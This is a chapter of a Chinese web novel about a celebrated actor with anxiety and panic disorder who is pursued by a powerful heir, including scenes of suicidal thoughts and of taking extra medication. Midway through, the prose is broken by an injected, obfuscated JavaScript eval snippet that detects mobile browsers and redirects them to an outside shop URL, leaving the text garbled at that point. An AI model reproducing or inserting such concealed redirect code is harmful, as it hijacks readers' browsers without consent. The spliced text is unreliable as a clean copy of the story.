安庭一回头,从还剩一小半的门缝里,看见病秧子往厨房慢腾腾地走去了——又去告他的状,这货总跟爸妈告他的状。 安庭懒得理,把门一锁,转头就脱了外套往屋里一躺。眼睛红肿得要睁不开了,他整个人都已经哭得没力气,眼睛沉沉一闭,拉起被子就睡了过去。 很快进入梦乡,他却听见一阵喧闹声。 ——像是一场宴会。 一片黑暗里,混乱的喧哗四处响起,逐渐把他脑袋吵得剧烈作痛。 【安老师……】 【安老师,安老师。】 【安老师,你也来这场宴会了呀?】 【你看,这是我们公司的新人——】 【是不是又被奖项提名了?你就带带我们公司的新人嘛。反正你还没cp,得绑定一个嘛,这一行都这样,就带上综艺去——】 一声又一声,一直有人叫他,一直有人说话。 说的所有话全都混在一起,越来越大声。安庭越睡越不安稳,疼得耳朵里都要流血。他低低呻.吟了声出来,伸手捂住半边耳朵。 突然,所有的声音倏地安静。 世界安宁了。 “那是陆少啊。” 须臾的宁静后,安庭又恍恍惚惚地听见了有人说话。 但这次只有一道声音在长吁短叹,动静不大。 视野里也终于有了画面。还什么都看不清,他就听见那人继续喃喃着,声音像蒙着层纸似的发闷,“那是陆少,哎……真是命好。” 眼前逐渐清晰,他看清了。 他站在一个盛大的宴会场里。场地大得可怕,四面八方全都是精致的上流人。四周灯光耀眼,男女老少纷纷攘攘地聚集在一起,礼裙和西装都漂亮得发光。 地上红毯铺遍,墙上复古花纹繁复无比,一个水晶吊灯璀璨地挂在头上。巨大的香槟塔摆在正中央,堆得像个金山,酒液和杯子被灯光照射着,亮得刺眼。 人人手里都端着杯香槟,气氛却有些古怪。 所有人都望着宴会场入口,一动未动,连交头接耳的说话声都很轻,像生怕惊扰了谁。 安庭望向入口那里。 有个身着华贵西服的拄杖男人,正在对一个薄肌窄腰、肩高腿长的红发青年点头哈腰,陪笑着讨好——那是这场宴会的主人,全娱乐圈最有钱的赞助商。 宴会主人点头哈腰得都像太监拜见皇上了,红发青年却连个眼神都没给他。那人高调地扬起脑袋,一张傲脸混不在乎,扫了一圈整个宴会场之后,才拿那双生得极好的蓝眼眸凉薄地撇了宴会主几眼。 “那是陆氏财阀的二公子。只要他一句话,随随便便就能封杀一波人。” 身边的声音又继续说话。安庭回过神,转头一看,才看见自己身边也簇拥了一群形形色色的人。 而说话的,是一个穿着漂亮长裙的年长女性。一头大卷发,脸上有些许皱纹,但岁月不败美人,她漂亮得依然明显。 “刚出道两三个月吧,是唱摇滚的。听说刚从海外毕业回来,是英国的皇家音乐学院来着?” 她叹着说,“一回国,陆氏就开了个娱乐公司,全公司上下就捧他一个艺人。这才多长时间,就是国内顶流了。” “乐坛才几个顶流,易诗城和李老师那几个人,诚诚恳恳地唱了好多年,才在榜上站稳名字,时不时争争第一。他一出来,全都退居第二三四五,给太子爷让位了。” “真是命好,”女人说,“投胎投的好,想干什么就干什么。” “幸亏不是学表演的。要是那位陆少学的是表演,该给太子爷让位的,”女人意味深长地看向安庭,“就是你了。” 安庭捏着一杯香槟,依然面带微笑。不为所动地望了几眼那位陆少,他一声没吭地抬手,喝了几口香槟。 宴会主从佣人手里拿过一瓶红酒,对着陆少双手奉上。 陆少摸摸手上比人命都贵的劳力士,兴致缺缺地点了头,依然凉薄,笑都懒得笑一下。宴会主却如蒙大赦,高高兴兴地请着陆少,把他带去宴会的豪贵一角,品酒去了。 确实命好。 看着早习惯被人这么讨好了,真是命好,这种到处是资本的社交宴会场上,也可以冷着脸。 嘴巴里忽然没了酒,安庭一顿,才发觉杯子里的香槟都被自己喝光了。 他指尖开始无意识地发抖,嘴角也有点发僵,坚持不住地垂了下来。安庭把空酒杯往旁边桌子上一放,抬手揉揉嘴角,悄悄地把嘴角硬往上拉了一下。 太累了。 在宴会场里又呆了几十分钟,脑子里开始发乱了,他找了个借口离开。 推开宴会厅圆形的落地门窗,走到外头的露台上。大作的冷风迎面一吹,像要发病似的乱麻脑袋终于清醒许多。 安庭松了口气,转身背过大风,从西装外套的内口袋里掏出个打火机和一包烟,背身点上了火。 他又转回身。脱了外套,只穿着件单薄衬衫,晃晃悠悠地走到了露台边上。 终于能不笑了,他叼着烟往外望,上身靠着栏杆,面无表情的一张脸放空得麻木不仁。他听不到身后那只一窗之隔的宴会热闹声了,只看见遥远无际的黑暗天色,身上已经被冻得毫无知觉。 真是有钱,宴会场底下就是庄园前院,宽阔的草坪一望无际,漂亮路灯一个又一个,像公园似的,全都亮着,不知道一晚上得多少电费。 冷风吹得浑身发抖,头疼欲裂,安庭一动没动。他发抖的指尖划了两下冻僵的皮肤,两处都毫无知觉。已经心悸得浑身发躁,他全然分不清到底是被冻的还是发病了。 安庭望着露台底下,两层楼的高度。 摔下去能不能死? 他出神地思考起这事儿来,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906242|191851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间地面都在眼睛里忽远忽近。心思又飞出去了,乱七八糟地乱作一团,他一会儿想自己摔死的死相,一会儿想明天能上的热搜头条,一会儿想宴会里那帮明星导演得吓成什么样。 想的越来越吓人,他却一点都不害怕,甚至除此以外也没什么情绪。他好像真死了,情绪像块没了命的烂肉。 忽然,身边窸窣一响,安庭回过了神。 一转头,他看见一个红发青年,不知道什么时候站到了旁边。 安庭愣了须臾。 他熟稔地扯出个商业假笑,把嘴里的烟拿掉:“陆少,您好。” 陆少不知怎么也愣了,安庭出声叫他,他才应了声:“啊。” 安庭直起身,伸手从口袋里掏出个随身小烟盒,把手里的烟往里一摁,灭了之后,塞回口袋:“您出来透口气?” “呃,差不多。”陆少说,“你没事吧?” 安庭僵了瞬。 冷风肆虐,陆少额前的碎发被吹得翻飞。几缕扫过他眉眼,凌乱之间,朗星似的眼睛亮得吓人。 “你没事吧?”陆少又问他,“你叫安庭来着?” “对,我没事。”安庭保持微笑,“怎么这么问?” “你看起来不像没事。” 陆少说完就突然嘶了声,剑眉一拧,伸手揉了揉自己的太阳穴,一脸不耐。 这是喝酒喝着了,在头痛。 安庭看得出来。跟安庭不一样,他这大少爷一疼就很明显。毕竟命好,从来不需要忍疼。 安庭笑着朝他弯弯身,轻轻道了声谢谢,转身就走。 “等等。”陆少又叫他。 安庭回过身。 “给我个联系方式。”陆少眯着半只眼说。 “……” 怎么会有这么理直气壮管人家要联系方式的人。 安庭一边抽出钢笔,往自己名片后边写上微信号,一边这样想。 不是这么玩的吧?一般不都是礼貌地先询问“您方便给我个联系方式吗”,先试探试探那样。 不管是商业目的还是出于别的想法。 安庭脸上的笑容有点难绷。他嘴角抽搐几下,抬眸,悄悄瞥了陆少一眼。 这人站在他面前,还是那个死样,脑袋微扬着,嘴角往下,笑都懒得笑一下,凉薄地瞥着他手上的动作,和刚刚余老板给他上供红酒一模一样,好像这一切理所当然。 行吧。 安庭多少理解点了,这少爷过的就是这种要什么有什么的日子。根本不用试探,他要什么,别人就得给他什么。 安庭把钢笔盖上盖,递出了名片:“前面有电话,后面是微信号,您随时可以加。” “哦。”陆灼颂接了过去,“谢谢。” 还行,知道说谢谢。 安庭笑着点点头:“不敢当。” 他朝着陆少一弯身,将钢笔塞回胸前的口袋,转身把外套一披,回了宴会场里。 等宴会散掉,安庭上了商务车,一开手机,微信里已经有了个小红点。 他加上了陆少,在聊天界面礼貌地打了招呼。 第二天一早,陆少当头给他一个霹雳,发来一条消息:【你有女朋友没?】 安庭:“……” 安庭放下手机。 他刚起床,还在厨房里吃早药。看完这条,他就把刚睡醒的鸡窝脑袋砰地磕在家里的岛台厨房上,额头冰冰凉凉地冷静好久,又站起来,神经质地抖着手,从药板里多抠了两颗药片,一口水送进了嘴里。 【没有。】他终于回复。 陆少秒发下一句:【男朋友?】 【……也没有。】 陆少没再说话。在对面琢磨半晌,又发:【你喜欢男的女的?】 安庭两眼一黑。 他直挺挺地躺回卧室去了,把被子一拉,又睡了一觉,没有回陆少。 怎么会有这种人。 他想,怎么会有这种人…… 21.胶卷03 【?】 【干什么不回我了。】 【我说错话了?】 【我就问问啊。】 【没别的意思。】 安庭捂着脸,在床上瘫了好久,不想面对现实。 他没回复陆少,又躺了一上午。 陆少却在这几个小时里,又噼里啪啦给他发了很多消息。 手机滴里嘟噜响个不停,安庭最后摁了免打扰,把手机往旁边一丢,彻底不看了。 当天下午,安庭的经纪人高鸣音照例带着一堆之后的工作安排上门。 她在客厅坐下,还没说话,安庭先一步把手机递给了她。 “什么呀?” 高鸣音疑惑。 “你先看。”安庭又颠颠手机。 高女士接过来,往上一划拉,立马发出一阵尖锐的爆鸣声。 “他这是看上你了吧!”她发出凤凰涅槃般凄厉的尖叫,“他这绝对是看上你了!安庭!你被陆氏看上了!?” 安庭嘶了声,捂着脑门仰在沙发上,发出一阵气若游丝般的低吟:“你能不能小点声……” “我怎么小点声,你看他给你发的什么!”高鸣音指着陆少半小时前发来的一条,“‘这几天有没有空出来吃饭’,底下发的地址还是外海那个五星级露台旋转餐厅!鬼都知道那是约会圣地,吃完往楼下一走就是酒店!” “我知道啊。”安庭捏捏眉间,面露痛苦,“你别喊,没准他也没想那么多。那家餐厅是他家的,或许就是吃饭方便……” “哪儿没有他家的东西!”高鸣音说,“餐厅有他家的,酒店有他家的,商场有他家的,汽车有他家的,电器有他家的,你住的这个富人区也是他家盖的,没准你躺着的那个沙发都是陆氏名下产的!” “……” 安庭无言以对,这个世界确实纯纯made in 陆氏。 “他自己家的东西,他能不知道什么样吗,能不知道这个餐厅是干什么的!?”高鸣音简直声声泣血,“你这是被他看上了啊,安庭!那可是陆少!你怎么敢不回他的,他随便一句话,你下一秒就得滚出娱乐圈了!” “真刺激。”安庭两眼放空。 他平淡如水还人淡如菊的,表情都没变一下,高鸣音差点被气的喷血。 “什么呀你,你怎么这个反应!该不会犯病了吧!” 她急匆匆地冲到安庭沙发后面,把手里一个纸袋摔在他旁边。安庭转头撇了一眼,就见那是满满一袋子药。 都是抗抑郁焦虑和惊恐的药。 这些他离不开的精神类药物,一直是工作室的助理去买。安庭毕竟是个出名在外的影帝,要是亲自去买,被狗仔拍到,明天就上热搜了。 安庭患有焦虑症和惊恐障碍这事儿,只有他的个人工作室和所属公司的高层知道。 从前他还有PTSD——创伤性应激障碍,不过这两年好多了。 高鸣音像龙卷风摧毁停车场似的从袋子里急匆匆掏出药,拆了一盒,拿出一板药,往他怀里一塞。 “我吃过了。”安庭淡淡塞回去,“姐,我现在很清醒。” “那你说什么疯话!” 高鸣音更气了,一拳锤到药袋子上,直接从沙发后边翻了过来,坐到安庭旁边,面红耳赤地跟他比划,“你到底清不清楚什么情况?醒醒啊安庭!陆少看上了你,那就是陆氏看上你了!你敢这么跟人家甩脸子?你怕自己死的不够快吗!” “那是陆氏!陆氏!!” “你怎么敢不回他的啊,亲爱的,你多少也要婉转地婉拒一下——不,婉拒也不好,一个惹他不高兴,他说不定就掐死你了!” 说不定就掐死你了。 郑玉浩笑嘻嘻的麻子脸立马在安庭眼前一闪而过。 他抽抽嘴角,伸手把刚塞回给高鸣音的药又拿了回来,握在手里,用力摁了一下。 凹凸不平的药板在手心里硌得肉疼,安庭平静多了。 “这怎么办……”高鸣音愁眉苦脸,叹了好几口气,像要哭了似的,“早知道就不让你去那个宴会了,怎么把陆氏给惹上了。” “不去宴会,又要得罪余老板了。”安庭说。 高鸣音苦着脸:“怎么左右都是狼啊。” 安庭斜眸瞧了她一眼,笑了声,伸手拍拍她的肩膀。他什么都没说,站起身来,往厨房去。 “安庭!”高鸣音追上来,“你怎么一点儿都不上火,那是陆少!” “我知道,是陆少。”安庭打开冰箱,“那我也没办法,不想回。” 高鸣音叹了声:“实在不行,你就直接跟他说你有病吧,说不准他就兴致散了。这顿饭你就先陪一下,跟他这么说说试试,好不好?这么冷处理肯定不行!就当是跟他玩玩了,行吗?你就乖一点,听话,陪他玩玩!” 安庭刚从冰箱里拿出一盒蓝莓。 他动作一顿,忽然一动不动地僵在原地。 “不要。”他说。 高鸣音闻言又气又急:“不要能行吗,这不是你说了算的!” “反正不要。”安庭说,“再跟少爷谈一次,我就跳楼了。” 他关上冰箱门,转头,平静地望了高鸣音一眼。一眼千言万语,高鸣音和他四目相接,忽的也说不出话来。 高鸣音嗫嚅半晌,苦丧着脸问他:“那要怎么办?” 安庭没说话。 “要是得罪陆氏……”高鸣音欲言又止,“你知道什么后果的,安庭。” “我们得罪不起。” 安庭叹了一声。 “我想想吧 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晚上还没吃药,他心里闷得难受,又有点躁,就厌烦地把手机一扔,嘟嘟囔囔骂了句人,自暴自弃地想等陆少上门逼他那天再说,起身就要去厨房接水吃药。 手机突然声音很大地响了一声。 安庭起身的动作一顿,一转身,是陆少又给他发了消息。 他不是给设的免打扰吗。 安庭莫名其妙,眯起眼定睛一看,陆少居然变成了特别关心。 ……高鸣音。 这一看就是高鸣音干的,她悄悄改了后台设定。 安庭烦躁地啧了声,拿起手机,陆少只发了一句话来。 【忙的话,就不用出来吃饭。】 安庭头疼地点开聊天框。刚打两个字,对面又冒出一句: 【行吧,我就是想追你。】 安庭手指一顿:“……” 【但你不用马上答应我,我不会逼你,我对权力强夺来的关系没兴趣。】陆少发着消息,一句又一句,【我不会拿这个压你,你不用害怕。】 【你就当是个刚出道的歌手看上你了,和陆氏没关系。】 【你要是不喜欢我,就先吊着我呗。】 【所以。】 【我能不能追你?】 安庭放下手机,看向外面。不知道什么时候下起小雨了,一阵一阵,淅淅沥沥的。落地窗被打湿了,一颗一颗水珠无措地抓在玻璃上,又不受控地往下摔落。 安庭突然想起郑玉浩来了,想起郑玉浩霸.凌他的一次又一次。 他敛眸,颤着青白的指尖,低头打了一句:【我很难追。】 【没事儿,】陆少回他,字里行间满不在乎,【我有的是时间。】